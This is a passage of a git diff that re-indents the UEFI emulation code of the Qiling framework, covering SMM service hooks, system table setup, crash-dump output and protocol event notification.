PTR(EFI_PHYSICAL_ADDRESS) + "type" : INT, # EFI_ALLOCATE_TYPE + "MemoryType": INT, # EFI_MEMORY_TYPE + "Pages" : ULONGLONG, # UINTN + "Memory" : POINTER # PTR(EFI_PHYSICAL_ADDRESS) }) def hook_SmmAllocatePages(ql: Qiling, address: int, params): - alloc_size = params["Pages"] * PAGE_SIZE + alloc_size = params["Pages"] * PAGE_SIZE - if params['type'] == EFI_ALLOCATE_TYPE.AllocateAddress: - address = read_int64(ql, params["Memory"]) + if params['type'] == EFI_ALLOCATE_TYPE.AllocateAddress: + address = read_int64(ql, params["Memory"]) - # TODO: check the range [address, address + alloc_size] is available first - ql.mem.map(address, alloc_size) - else: - # TODO: allocate memory according to 'MemoryType' - address = ql.loader.smm_context.heap.alloc(alloc_size) + # TODO: check the range [address, address + alloc_size] is available first + ql.mem.map(address, alloc_size) + else: + # TODO: allocate memory according to 'MemoryType' + address = ql.loader.smm_context.heap.alloc(alloc_size) - if address == 0: - return EFI_OUT_OF_RESOURCES + if address == 0: + return EFI_OUT_OF_RESOURCES - write_int64(ql, params["Memory"], address) + write_int64(ql, params["Memory"], address) - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "Memory" : ULONGLONG, # EFI_PHYSICAL_ADDRESS - "Pages" : ULONGLONG # UINTN + "Memory" : ULONGLONG, # EFI_PHYSICAL_ADDRESS + "Pages" : ULONGLONG # UINTN }) def hook_SmmFreePages(ql: Qiling, address: int, params): - address = params["Memory"] + address = params["Memory"] - ret = ql.loader.smm_context.heap.free(address) + ret = ql.loader.smm_context.heap.free(address) - return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER + return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER @dxeapi(params = { - "PoolType" : INT, # EFI_MEMORY_TYPE - "Size" : INT, # UINTN - "Buffer" : POINTER # PTR(PTR(VOID)) + "PoolType" : INT, # EFI_MEMORY_TYPE + "Size" : INT, # UINTN + "Buffer" : POINTER # PTR(PTR(VOID)) }) def hook_SmmAllocatePool(ql: Qiling, address: int, params): - # TODO: allocate memory acording to "PoolType" - address = ql.loader.smm_context.heap.alloc(params["Size"]) - write_int64(ql, params["Buffer"], address) + # TODO: allocate memory acording to "PoolType" + address = ql.loader.smm_context.heap.alloc(params["Size"]) + write_int64(ql, params["Buffer"], address) - return EFI_SUCCESS if address else EFI_OUT_OF_RESOURCES + return EFI_SUCCESS if address else EFI_OUT_OF_RESOURCES @dxeapi(params = { - "Buffer": POINTER # PTR(VOID) + "Buffer": POINTER # PTR(VOID) }) def hook_SmmFreePool(ql: Qiling, address: int, params): - address = params["Buffer"] - ret = ql.loader.smm_context.heap.free(address) + address = params["Buffer"] + ret = ql.loader.smm_context.heap.free(address) - return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER + return EFI_SUCCESS if ret else EFI_INVALID_PARAMETER @dxeapi(params = { - "Procedure" : POINTER, - "CpuNumber" : INT, - "ProcArguments" : POINTER + "Procedure" : POINTER, + "CpuNumber" : INT, + "ProcArguments" : POINTER }) def hook_SmmStartupThisAp(ql: Qiling, address: int, params): - return EFI_INVALID_PARAMETER + return EFI_INVALID_PARAMETER @dxeapi(params = { - "Handle" : POINTER, # PTR(EFI_HANDLE) - "Protocol" : GUID, # PTR(EFI_GUID) - "InterfaceType" : ULONGLONG, # EFI_INTERFACE_TYPE - "Interface" : POINTER, # PTR(VOID) + "Handle" : POINTER, # PTR(EFI_HANDLE) + "Protocol" : GUID, # PTR(EFI_GUID) + "InterfaceType" : ULONGLONG, # EFI_INTERFACE_TYPE + "Interface" : POINTER, # PTR(VOID) }) def hook_SmmInstallProtocolInterface(ql: Qiling, address: int, params): - return common.InstallProtocolInterface(ql.loader.smm_context, params) + return common.InstallProtocolInterface(ql.loader.smm_context, params) @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "Interface" : POINTER # PTR(VOID) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "Interface" : POINTER # PTR(VOID) }) def hook_SmmUninstallProtocolInterface(ql: Qiling, address: int, params): - return common.UninstallProtocolInterface(ql.loader.smm_context, params) + return common.UninstallProtocolInterface(ql.loader.smm_context, params) @dxeapi(params = { - "Handle" : POINTER, # EFI_HANDLE - "Protocol" : GUID, # PTR(EFI_GUID) - "Interface" : POINTER # PTR(PTR(VOID)) + "Handle" : POINTER, # EFI_HANDLE + "Protocol" : GUID, # PTR(EFI_GUID) + "Interface" : POINTER # PTR(PTR(VOID)) }) def hook_SmmHandleProtocol(ql: Qiling, address: int, params): - return common.HandleProtocol(ql.loader.smm_context, params) + return common.HandleProtocol(ql.loader.smm_context, params) @dxeapi(params = { - "Protocol" : GUID, # PTR(EFI_GUID) - "Function" : POINTER, # EFI_MM_NOTIFY_FN - "Registration" : POINTER # PTR(PTR(VOID)) + "Protocol" : GUID, # PTR(EFI_GUID) + "Function" : POINTER, # EFI_MM_NOTIFY_FN + "Registration" : POINTER # PTR(PTR(VOID)) }) def hook_SmmRegisterProtocolNotify(ql: Qiling, address: int, params): - event_id = len(ql.loader.events) - event_dic = { - "NotifyFunction": params["Function"], - "CallbackArgs" : None, - "Guid" : params["Protocol"], - "Set" : False - } - ql.loader.events[event_id] = event_dic - ptr_write64(ql, params["Registration"], event_id) - return EFI_SUCCESS + event_id = len(ql.loader.events) + event_dic = { + "NotifyFunction": params["Function"], + "CallbackArgs" : None, + "Guid" : params["Protocol"], + "Set" : False + } + ql.loader.events[event_id] = event_dic + ptr_write64(ql, params["Registration"], event_id) + return EFI_SUCCESS @dxeapi(params = { - "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE - "Protocol" : GUID, # PTR(EFI_GUID) - "SearchKey" : POINTER, # PTR(VOID) - "BufferSize": POINTER, # PTR(UINTN) - "Buffer" : POINTER # PTR(EFI_HANDLE) + "SearchType": INT, # EFI_LOCATE_SEARCH_TYPE + "Protocol" : GUID, # PTR(EFI_GUID) + "SearchKey" : POINTER, # PTR(VOID) + "BufferSize": POINTER, # PTR(UINTN) + "Buffer" : POINTER # PTR(EFI_HANDLE) }) def hook_SmmLocateHandle(ql: Qiling, address: int, params): - return common.LocateHandle(ql.loader.smm_context, params) + return common.LocateHandle(ql.loader.smm_context, params) @dxeapi(params = { - "Protocol" : GUID, # PTR(EFI_GUID) - "Registration" : POINTER, # PTR(VOID) - "Interface" : POINTER # PTR(PTR(VOID)) + "Protocol" : GUID, # PTR(EFI_GUID) + "Registration" : POINTER, # PTR(VOID) + "Interface" : POINTER # PTR(PTR(VOID)) }) def hook_SmmLocateProtocol(ql: Qiling, address: int, params): - return common.LocateProtocol(ql.loader.smm_context, params) + return common.LocateProtocol(ql.loader.smm_context, params) @dxeapi(params = { - "HandlerType" : GUID, - "Context" : POINTER, - "CommBuffer" : POINTER, - "CommBufferSize": POINTER + "HandlerType" : GUID, + "Context" : POINTER, + "CommBuffer" : POINTER, + "CommBufferSize": POINTER }) def hook_SmiManage(ql: Qiling, address: int, params): - return EFI_NOT_FOUND + return EFI_NOT_FOUND @dxeapi(params = { - "Handler" : POINTER, - "HandlerType" : GUID, - "DispatchHandle": POINTER + "Handler" : POINTER, + "HandlerType" : GUID, + "DispatchHandle": POINTER }) def hook_SmiHandlerRegister(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS @dxeapi(params = { - "DispatchHandle": POINTER + "DispatchHandle": POINTER }) def hook_SmiHandlerUnRegister(ql: Qiling, address: int, params): - return EFI_SUCCESS + return EFI_SUCCESS def initialize(ql: Qiling, context, gSmst: int): - ql.loader.gSmst = gSmst - - gSmmRT = gSmst + EFI_SMM_SYSTEM_TABLE2.sizeof() # smm runtime services - cfg = gSmmRT + EFI_RUNTIME_SERVICES.sizeof() # configuration tables array - - rt.initialize(ql, gSmmRT) - - descriptor = { - 'struct' : EFI_SMM_SYSTEM_TABLE2, - 'fields' : ( - ('Hdr', None), - ('SmmFirmwareVendor', None), - ('SmmFirmwareRevision', None), - ('SmmInstallConfigurationTable', hook_SmmInstallConfigurationTable), - ('SmmIo', None), - ('SmmAllocatePool', hook_SmmAllocatePool), - ('SmmFreePool', hook_SmmFreePool), - ('SmmAllocatePages', hook_SmmAllocatePages), - ('SmmFreePages', hook_SmmFreePages), - ('SmmStartupThisAp', hook_SmmStartupThisAp), - ('CurrentlyExecutingCpu', None), - ('NumberOfCpus', None), - ('CpuSaveStateSize', None), - ('CpuSaveState', None), - ('NumberOfTableEntries', 0), - ('SmmConfigurationTable', cfg), - ('SmmInstallProtocolInterface', hook_SmmInstallProtocolInterface), - ('SmmUninstallProtocolInterface', hook_SmmUninstallProtocolInterface), - ('SmmHandleProtocol', hook_SmmHandleProtocol), - ('SmmRegisterProtocolNotify', hook_SmmRegisterProtocolNotify), - ('SmmLocateHandle', hook_SmmLocateHandle), - ('SmmLocateProtocol', hook_SmmLocateProtocol), - ('SmiManage', hook_SmiManage), - ('SmiHandlerRegister', hook_SmiHandlerRegister), - ('SmiHandlerUnRegister', hook_SmiHandlerUnRegister), - ) - } - - instance = init_struct(ql, gSmst, descriptor) - instance.saveTo(ql, gSmst) - - install_configuration_table(context, "HOB_LIST", None) - install_configuration_table(context, "SMM_RUNTIME_SERVICES_TABLE", gSmmRT) + ql.loader.gSmst = gSmst + + gSmmRT = gSmst + EFI_SMM_SYSTEM_TABLE2.sizeof() # smm runtime services + cfg = gSmmRT + EFI_RUNTIME_SERVICES.sizeof() # configuration tables array + + rt.initialize(ql, gSmmRT) + + descriptor = { + 'struct' : EFI_SMM_SYSTEM_TABLE2, + 'fields' : ( + ('Hdr', None), + ('SmmFirmwareVendor', None), + ('SmmFirmwareRevision', None), + ('SmmInstallConfigurationTable', hook_SmmInstallConfigurationTable), + ('SmmIo', None), + ('SmmAllocatePool', hook_SmmAllocatePool), + ('SmmFreePool', hook_SmmFreePool), + ('SmmAllocatePages', hook_SmmAllocatePages), + ('SmmFreePages', hook_SmmFreePages), + ('SmmStartupThisAp', hook_SmmStartupThisAp), + ('CurrentlyExecutingCpu', None), + ('NumberOfCpus', None), + ('CpuSaveStateSize', None), + ('CpuSaveState', None), + ('NumberOfTableEntries', 0), + ('SmmConfigurationTable', cfg), + ('SmmInstallProtocolInterface', hook_SmmInstallProtocolInterface), + ('SmmUninstallProtocolInterface', hook_SmmUninstallProtocolInterface), + ('SmmHandleProtocol', hook_SmmHandleProtocol), + ('SmmRegisterProtocolNotify', hook_SmmRegisterProtocolNotify), + ('SmmLocateHandle', hook_SmmLocateHandle), + ('SmmLocateProtocol', hook_SmmLocateProtocol), + ('SmiManage', hook_SmiManage), + ('SmiHandlerRegister', hook_SmiHandlerRegister), + ('SmiHandlerUnRegister', hook_SmiHandlerUnRegister), + ) + } + + instance = init_struct(ql, gSmst, descriptor) + instance.saveTo(ql, gSmst) + + install_configuration_table(context, "HOB_LIST", None) + install_configuration_table(context, "SMM_RUNTIME_SERVICES_TABLE", gSmmRT) __all__ = [ - 'EFI_SMM_SYSTEM_TABLE2', - 'initialize' + 'EFI_SMM_SYSTEM_TABLE2', + 'initialize' ] diff --git a/qiling/os/uefi/st.py b/qiling/os/uefi/st.py index c88c22b64..5e0199ddb 100644 --- a/qiling/os/uefi/st.py +++ b/qiling/os/uefi/st.py @@ -11,73 +11,73 @@ # static mem layout: # -# +-- EFI_SYSTEM_TABLE ---------+ -# | | -# | ... | -# | RuntimeServices* -> (1) | -# | BootServices* -> (2) | -# | NumberOfTableEntries | -# | ConfigurationTable* -> (4) | -# +-----------------------------+ -# (1) +-- EFI_RUNTIME_SERVICES -----+ -# | | -# | ... | -# +-----------------------------+ -# (2) +-- EFI_BOOT_SERVICES --------+ -# | | -# | ... | -# +-----------------------------+ -# (3) +-- EFI_DXE_SERVICES ---------+ -# | | -# | ... | -# +-----------------------------+ -# (4) +-- EFI_CONFIGURATION_TABLE --+ of HOB_LIST -# | VendorGuid | -# | VendorTable* -> (5) | -# +-----------------------------+ -# +-- EFI_CONFIGURATION_TABLE --+ of DXE_SERVICE_TABLE -# | VendorGuid | -# | VendorTable* -> (3) | -# +-----------------------------+ +# +-- EFI_SYSTEM_TABLE ---------+ +# | | +# | ... | +# | RuntimeServices* -> (1) | +# | BootServices* -> (2) | +# | NumberOfTableEntries | +# | ConfigurationTable* -> (4) | +# +-----------------------------+ +# (1) +-- EFI_RUNTIME_SERVICES -----+ +# | | +# | ... | +# +-----------------------------+ +# (2) +-- EFI_BOOT_SERVICES --------+ +# | | +# | ... | +# +-----------------------------+ +# (3) +-- EFI_DXE_SERVICES ---------+ +# | | +# | ... | +# +-----------------------------+ +# (4) +-- EFI_CONFIGURATION_TABLE --+ of HOB_LIST +# | VendorGuid | +# | VendorTable* -> (5) | +# +-----------------------------+ +# +-- EFI_CONFIGURATION_TABLE --+ of DXE_SERVICE_TABLE +# | VendorGuid | +# | VendorTable* -> (3) | +# +-----------------------------+ # -# ... the remainder of the chunk may be used for additional EFI_CONFIGURATION_TABLE entries +# ... the remainder of the chunk may be used for additional EFI_CONFIGURATION_TABLE entries # dynamically allocated (context.conf_table_data_ptr): # -# (5) +-- VOID* --------------------+ -# | ... | -# +-----------------------------+ +# (5) +-- VOID* --------------------+ +# | ... | +# +-----------------------------+ def initialize(ql: Qiling, context: UefiContext, gST: int): - ql.loader.gST = gST + ql.loader.gST = gST - gBS = gST + EFI_SYSTEM_TABLE.sizeof() # boot services - gRT = gBS + EFI_BOOT_SERVICES.sizeof() # runtime services - gDS = gRT + EFI_RUNTIME_SERVICES.sizeof() # dxe services - cfg = gDS + ds.EFI_DXE_SERVICES.sizeof() # configuration tables array + gBS = gST + EFI_SYSTEM_TABLE.sizeof() # boot services + gRT = gBS + EFI_BOOT_SERVICES.sizeof() # runtime services + gDS = gRT + EFI_RUNTIME_SERVICES.sizeof() # dxe services + cfg = gDS + ds.EFI_DXE_SERVICES.sizeof() # configuration tables array - ql.log.info(f'Global tables:') - ql.log.info(f' | gST {gST:#010x}') - ql.log.info(f' | gBS {gBS:#010x}') - ql.log.info(f' | gRT {gRT:#010x}') - ql.log.info(f' | gDS {gDS:#010x}') - ql.log.info(f'') + ql.log.info(f'Global tables:') + ql.log.info(f' | gST {gST:#010x}') + ql.log.info(f' | gBS {gBS:#010x}') + ql.log.info(f' | gRT {gRT:#010x}') + ql.log.info(f' | gDS {gDS:#010x}') + ql.log.info(f'') - bs.initialize(ql, gBS) - rt.initialize(ql, gRT) - ds.initialize(ql, gDS) + bs.initialize(ql, gBS) + rt.initialize(ql, gRT) + ds.initialize(ql, gDS) - instance = EFI_SYSTEM_TABLE() - instance.RuntimeServices = gRT - instance.BootServices = gBS - instance.NumberOfTableEntries = 0 - instance.ConfigurationTable = cfg + instance = EFI_SYSTEM_TABLE() + instance.RuntimeServices = gRT + instance.BootServices = gBS + instance.NumberOfTableEntries = 0 + instance.ConfigurationTable = cfg - instance.saveTo(ql, gST) + instance.saveTo(ql, gST) - install_configuration_table(context, "HOB_LIST", None) - install_configuration_table(context, "DXE_SERVICE_TABLE", gDS) + install_configuration_table(context, "HOB_LIST", None) + install_configuration_table(context, "DXE_SERVICE_TABLE", gDS) __all__ = [ - 'initialize' + 'initialize' ] \ No newline at end of file diff --git a/qiling/os/uefi/uefi.py b/qiling/os/uefi/uefi.py index a3f481cf0..c44d032ad 100644 --- a/qiling/os/uefi/uefi.py +++ b/qiling/os/uefi/uefi.py @@ -19,214 +19,214 @@ from qiling.os.uefi.smm import SmmEnv class QlOsUefi(QlOs): - type = QL_OS.UEFI + type = QL_OS.UEFI - def __init__(self, ql: Qiling): - super().__init__(ql) + def __init__(self, ql: Qiling): + super().__init__(ql) - self.entry_point = 0 - self.running_module: str - self.smm: SmmEnv - self.PE_RUN: bool - self.heap: QlMemoryHeap # Will be initialized by the loader. + self.entry_point = 0 + self.running_module: str + self.smm: SmmEnv + self.PE_RUN: bool + self.heap: QlMemoryHeap # Will be initialized by the loader. - self.on_module_enter: MutableSequence[Callable[[str], bool]] = [] - self.on_module_exit: MutableSequence[Callable[[int], bool]] = [] + self.on_module_enter: MutableSequence[Callable[[str], bool]] = [] + self.on_module_exit: MutableSequence[Callable[[int], bool]] = [] - cc: QlCC = { - 32: intel.cdecl, - 64: intel.ms64 - }[ql.arch.bits](ql.arch) + cc: QlCC = { + 32: intel.cdecl, + 64: intel.ms64 + }[ql.arch.bits](ql.arch) - self.fcall = QlFunctionCall(ql, cc) + self.fcall = QlFunctionCall(ql, cc) - def save(self): - saved_state = super(QlOsUefi, self).save() - saved_state['entry_point'] = self.entry_point - return saved_state + def save(self): + saved_state = super(QlOsUefi, self).save() + saved_state['entry_point'] = self.entry_point + return saved_state - def restore(self, saved_state): - super(QlOsUefi, self).restore(saved_state) - self.entry_point = saved_state['entry_point'] + def restore(self, saved_state): + super(QlOsUefi, self).restore(saved_state) + self.entry_point = saved_state['entry_point'] - def process_fcall_params(self, targs: Iterable[TypedArg]) -> Sequence[Tuple[str, str]]: - '''[override] Post-process function call arguments values to - determine how to display them. + def process_fcall_params(self, targs: Iterable[TypedArg]) -> Sequence[Tuple[str, str]]: + '''[override] Post-process function call arguments values to + determine how to display them. - Args: - targs: an iterable of typed args (3-tuples: type, name, value) + Args: + targs: an iterable of typed args (3-tuples: type, name, value) - Returns: a sequence of arguments (2-tuples: name, string representation of arg value) - ''' + Returns: a sequence of arguments (2-tuples: name, string representation of arg value) + ''' - def fallback(v): - '''Use original processing method for other types. - ''' + def fallback(v): + '''Use original processing method for other types. + ''' - # the original method accepts a list and returns a list, so here we - # craft a list containing one 3-tuple, and extracting the single element - # the result list contains. that element is a 2-tuple, from which we - # only need the value - return super(QlOsUefi, self).process_fcall_params([(None, '', v)])[0][1] + # the original method accepts a list and returns a list, so here we + # craft a list containing one 3-tuple, and extracting the single element + # the result list contains. that element is a 2-tuple, from which we + # only need the value + return super(QlOsUefi, self).process_fcall_params([(None, '', v)])[0][1] - ahandlers: Mapping[Any, Callable[[Any], str]] = { - POINTER : lambda v: f'{v:#010x}' if v else 'NULL', - STRING : lambda v: QlOsUtils.stringify(v), - WSTRING : lambda v: f'L{QlOsUtils.stringify(v)}', - GUID : lambda v: guids_db.get(v.upper(), v) if v else 'NULL' - } + ahandlers: Mapping[Any, Callable[[Any], str]] = { + POINTER : lambda v: f'{v:#010x}' if v else 'NULL', + STRING : lambda v: QlOsUtils.stringify(v), + WSTRING : lambda v: f'L{QlOsUtils.stringify(v)}', + GUID : lambda v: guids_db.get(v.upper(), v) if v else 'NULL' + } - return tuple((aname, ahandlers.get(atype, fallback)(avalue)) for atype, aname, avalue in targs) + return tuple((aname, ahandlers.get(atype, fallback)(avalue)) for atype, aname, avalue in targs) - def notify_after_module_execution(self, nmodules: int) -> bool: - """Callback fired after a module has finished executing successfully. + def notify_after_module_execution(self, nmodules: int) -> bool: + """Callback fired after a module has finished executing successfully. - Args: - nmodules: number of remaining modules to execute + Args: + nmodules: number of remaining modules to execute - Returns: `True` if subsequent modules execution should be thwarted, `False` otherwise - """ + Returns: `True` if subsequent modules execution should be thwarted, `False` otherwise + """ - return bool(sum(callback(nmodules) for callback in self.on_module_exit)) + return bool(sum(callback(nmodules) for callback in self.on_module_exit)) - def notify_before_module_execution(self, module: str) -> bool: - """Callback fired before a module is about to start executing. + def notify_before_module_execution(self, module: str) -> bool: + """Callback fired before a module is about to start executing. - Args: - module: path of module to execute + Args: + module: path of module to execute - Returns: `True` if module execution should be thwarted, `False` otherwise - """ + Returns: `True` if module execution should be thwarted, `False` otherwise + """ - return bool(sum(callback(module) for callback in self.on_module_enter)) + return bool(sum(callback(module) for callback in self.on_module_enter)) - def emit_context(self): - rgroups = ( - ((8, 'rax'), (8, 'r8'), (4, 'cs')), - ((8, 'rbx'), (8, 'r9'), (4, 'ds')), - ((8, 'rcx'), (8, 'r10'), (4, 'es')), - ((8, 'rdx'), (8, 'r11'), (4, 'fs')), - ((8, 'rsi'), (8, 'r12'), (4, 'gs')), - ((8, 'rdi'), (8, 'r13'), (4, 'ss')), - ((8, 'rsp'), (8, 'r14')), - ((8, 'rbp'), (8, 'r15')), - ((8, 'rip'), ) - ) + def emit_context(self): + rgroups = ( + ((8, 'rax'), (8, 'r8'), (4, 'cs')), + ((8, 'rbx'), (8, 'r9'), (4, 'ds')), + ((8, 'rcx'), (8, 'r10'), (4, 'es')), + ((8, 'rdx'), (8, 'r11'), (4, 'fs')), + ((8, 'rsi'), (8, 'r12'), (4, 'gs')), + ((8, 'rdi'), (8, 'r13'), (4, 'ss')), + ((8, 'rsp'), (8, 'r14')), + ((8, 'rbp'), (8, 'r15')), + ((8, 'rip'), ) + ) - p = re.compile(r'^((?:00)+)') + p = re.compile(r'^((?:00)+)') - def __emit_reg(size: int, reg: str): - val = f'{self.ql.arch.regs.read(reg):0{size * 2}x}' - padded = p.sub("\x1b[90m\\1\x1b[39m", val, 1) + def __emit_reg(size: int, reg: str): + val = f'{self.ql.arch.regs.read(reg):0{size * 2}x}' + padded = p.sub("\x1b[90m\\1\x1b[39m", val, 1) - return f'{reg:3s} = {padded}' + return f'{reg:3s} = {padded}' - self.ql.log.error(f'CPU Context:') + self.ql.log.error(f'CPU Context:') - for regs in rgroups: - self.ql.log.error(f'{" | ".join(__emit_reg(size, reg) for size, reg in regs)}') + for regs in rgroups: + self.ql.log.error(f'{" | ".join(__emit_reg(size, reg) for size, reg in regs)}') - self.ql.log.error(f'') + self.ql.log.error(f'') - def emit_hexdump(self, address: int, data: bytearray, num_cols: int = 16): - self.ql.log.error('Hexdump:') + def emit_hexdump(self, address: int, data: bytearray, num_cols: int = 16): + self.ql.log.error('Hexdump:') - # align hexdump to numbers of columns - pre_padding = [None] * (address % num_cols) - post_padding = [None] * (num_cols - len(pre_padding)) - chars = pre_padding + list(data) + post_padding - address = address & ~(num_cols - 1) + # align hexdump to numbers of columns + pre_padding = [None] * (address % num_cols) + post_padding = [None] * (num_cols - len(pre_padding)) + chars = pre_padding + list(data) + post_padding + address = address & ~(num_cols - 1) - for i in range(0, len(chars), num_cols): - hexdump = ' '.join(f' ' if ch is None else f'{ch:02x}' for ch in chars[i: i + num_cols]) - self.ql.log.error(f'{address + i:08x} : {hexdump}') + for i in range(0, len(chars), num_cols): + hexdump = ' '.join(f' ' if ch is None else f'{ch:02x}' for ch in chars[i: i + num_cols]) + self.ql.log.error(f'{address + i:08x} : {hexdump}') - self.ql.log.error(f'') + self.ql.log.error(f'') - def emit_disasm(self, address: int, data: bytearray, num_insns: int = 8): - md = self.ql.arch.disassembler + def emit_disasm(self, address: int, data: bytearray, num_insns: int = 8): + md = self.ql.arch.disassembler - self.ql.log.error('Disassembly:') + self.ql.log.error('Disassembly:') - for insn in tuple(md.disasm(data, address))[:num_insns]: - self.ql.log.error(f'{insn.address:08x} : {insn.bytes.hex():28s} {insn.mnemonic:10s} {insn.op_str:s}') + for insn in tuple(md.disasm(data, address))[:num_insns]: + self.ql.log.error(f'{insn.address:08x} : {insn.bytes.hex():28s} {insn.mnemonic:10s} {insn.op_str:s}') - self.ql.log.error(f'') + self.ql.log.error(f'') - def emit_stack(self, nitems: int = 4): - self.ql.log.error('Stack:') + def emit_stack(self, nitems: int = 4): + self.ql.log.error('Stack:') - for i in range(-nitems, nitems + 1): - offset = i * self.ql.arch.pointersize + for i in range(-nitems, nitems + 1): + offset = i * self.ql.arch.pointersize - try: - item = self.ql.arch.stack_read(offset) - except UcError: - data = '(unavailable)' - else: - data = f'{item:0{self.ql.arch.pointersize * 2}x}' + try: + item = self.ql.arch.stack_read(offset) + except UcError: + data = '(unavailable)' + else: + data = f'{item:0{self.ql.arch.pointersize * 2}x}' - self.ql.log.error(f'{self.ql.arch.regs.arch_sp + offset:08x} : {data}{" <=" if i == 0 else ""}') + self.ql.log.error(f'{self.ql.arch.regs.arch_sp + offset:08x} : {data}{" <=" if i == 0 else ""}') - self.ql.log.error('') + self.ql.log.error('') - def emu_error(self): - pc = self.ql.arch.regs.arch_pc + def emu_error(self): + pc = self.ql.arch.regs.arch_pc - try: - data = self.ql.mem.read(pc, size=64) - except UcError: - pc_info = ' (unreachable)' - else: - self.emit_context() - self.emit_hexdump(pc, data) - self.emit_disasm(pc, data) + try: + data = self.ql.mem.read(pc, size=64) + except UcError: + pc_info = ' (unreachable)' + else: + self.emit_context() + self.emit_hexdump(pc, data) + self.emit_disasm(pc, data) - containing_image = self.ql.loader.find_containing_image(pc) - pc_info = f' ({containing_image.path} + {pc - containing_image.base:#x})' if containing_image else '' - finally: - self.ql.log.error(f'PC = {pc:#010x}{pc_info}') - self.ql.log.error(f'') + containing_image = self.ql.loader.find_containing_image(pc) + pc_info = f' ({containing_image.path} + {pc - containing_image.base:#x})' if containing_image else '' + finally: + self.ql.log.error(f'PC = {pc:#010x}{pc_info}') + self.ql.log.error(f'') - self.emit_stack() + self.emit_stack() - self.ql.log.error(f'Memory map:') - for info_line in self.ql.mem.get_formatted_mapinfo(): - self.ql.log.error(info_line) + self.ql.log.error(f'Memory map:') + for info_line in self.ql.mem.get_formatted_mapinfo(): + self.ql.log.error(info_line) - def set_api(self, target: str, handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): - super().set_api(f'hook_{target}', handler, intercept) + def set_api(self, target: str, handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): + super().set_api(f'hook_{target}', handler, intercept) - def run(self): - # TODO: this is not the right place for this - self.smm = SmmEnv(self.ql) + def run(self): + # TODO: this is not the right place for this + self.smm = SmmEnv(self.ql) - self.notify_before_module_execution(self.running_module) + self.notify_before_module_execution(self.running_module) - if self.ql.entry_point is not None: - self.ql.loader.entry_point = self.ql.entry_point + if self.ql.entry_point is not None: + self.ql.loader.entry_point = self.ql.entry_point - if self.ql.exit_point is not None: - self.exit_point = self.ql.exit_point + if self.ql.exit_point is not None: + self.exit_point = self.ql.exit_point - try: - self.PE_RUN = True + try: + self.PE_RUN = True - self.ql.emu_start(self.ql.loader.entry_point, self.exit_point, self.ql.timeout, self.ql.count) - except KeyboardInterrupt: - self.ql.log.critical(f'Execution interrupted by user') + self.ql.emu_start(self.ql.loader.entry_point, self.exit_point, self.ql.timeout, self.ql.count) + except KeyboardInterrupt: + self.ql.log.critical(f'Execution interrupted by user') - except UcError: - self.emu_error() - raise + except UcError: + self.emu_error() + raise - def stop(self) -> None: - self.ql.emu_stop() - self.PE_RUN = False + def stop(self) -> None: + self.ql.emu_stop() + self.PE_RUN = False diff --git a/qiling/os/uefi/utils.py b/qiling/os/uefi/utils.py index fe3576749..3c02e7499 100644 --- a/qiling/os/uefi/utils.py +++ b/qiling/os/uefi/utils.py @@ -13,103 +13,103 @@ from qiling.os.uefi.UefiBaseType import EFI_GUID def signal_event(ql: Qiling, event_id: int) -> None: - event = ql.loader.events[event_id] + event = ql.loader.events[event_id] - if not event["Set"]: - event["Set"] = True - notify_func = event["NotifyFunction"] - callback_args = event["CallbackArgs"] + if not event["Set"]: + event["Set"] = True + notify_func = event["NotifyFunction"] + callback_args = event["CallbackArgs"] - ql.loader.notify_list.append((event_id, notify_func, callback_args)) + ql.loader.notify_list.append((event_id, notify_func, callback_args)) def execute_protocol_notifications(ql: Qiling, from_hook: bool = False) -> bool: - if not ql.loader.notify_list: - return False + if not ql.loader.notify_list: + return False - next_hook = ql.loader.context.heap.alloc(ql.arch.pointersize) + next_hook = ql.loader.context.heap.alloc(ql.arch.pointersize) - def __notify_next(ql: Qiling): - # discard previous callback's shadow space - ql.arch.regs.arch_sp += (4 * ql.arch.pointersize) + def __notify_next(ql: Qiling): + # discard previous callback's shadow space + ql.arch.regs.arch_sp += (4 * ql.arch.pointersize) - if ql.loader.notify_list: - event_id, notify_func, callback_args = ql.loader.notify_list.pop(0) - ql.log.info(f'Notify event: id = {event_id}, (*{notify_func:#x})({", ".join(f"{a:#x}" for a in callback_args)})') + if ql.loader.notify_list: + event_id, notify_func, callback_args = ql.loader.notify_list.pop(0) + ql.log.info(f'Notify event: id = {event_id}, (*{notify_func:#x})({", ".join(f"{a:#x}" for a in callback_args)})') - ql.loader.call_function(notify_func, callback_args, next_hook) - else: - ql.log.info(f'Notify event: done') + ql.loader.call_function(notify_func, callback_args, next_hook) + else: + ql.log.info(f'Notify event: done') - # the last item on the list has been notified; tear down this hook - ql.loader.context.heap.free(next_hook) - hret.remove() + # the last item on the list has been notified; tear down this hook + ql.loader.context.heap.free(next_hook) + hret.remove() - ql.arch.regs.rax = EFI_SUCCESS - ql.arch.regs.arch_pc = ql.stack_pop() + ql.arch.regs.rax = EFI_SUCCESS + ql.arch.regs.arch_pc = ql.stack_pop() - hret = ql.hook_address(__notify_next, next_hook) + hret = ql.hook_address(__notify_next, next_hook) - # __notify_next unwinds the previous callback shadow space allocated by call_function. however, on its first invocation - # there is no such shadow space. to maintain stack consistency we set here a bogus shadow space that may be discarded - # safely - ql.arch.regs.arch_sp -= (4 * ql.arch.pointersize) + # __notify_next unwinds the previous callback shadow space allocated by call_function. however, on its first invocation + # there is no such shadow space. to maintain stack consistency we set here a bogus shadow space that may be discarded + # safely + ql.arch.regs.arch_sp -= (4 * ql.arch.pointersize) - # To avoid having two versions of the code the first notify function will also be called from the __notify_next hook. - if from_hook: - ql.stack_push(next_hook) - else: - ql.stack_push(ql.loader.context.end_of_execution_ptr) - ql.arch.regs.arch_pc = next_hook + # To avoid having two versions of the code the first notify function will also be called from the __notify_next hook. + if from_hook: + ql.stack_push(next_hook) + else: + ql.stack_push(ql.loader.context.end_of_execution_ptr) + ql.arch.regs.arch_pc = next_hook - return True + return True def ptr_read8(ql: Qiling, addr: int) -> int: - """Read BYTE data from a pointer - """ + """Read BYTE data from a 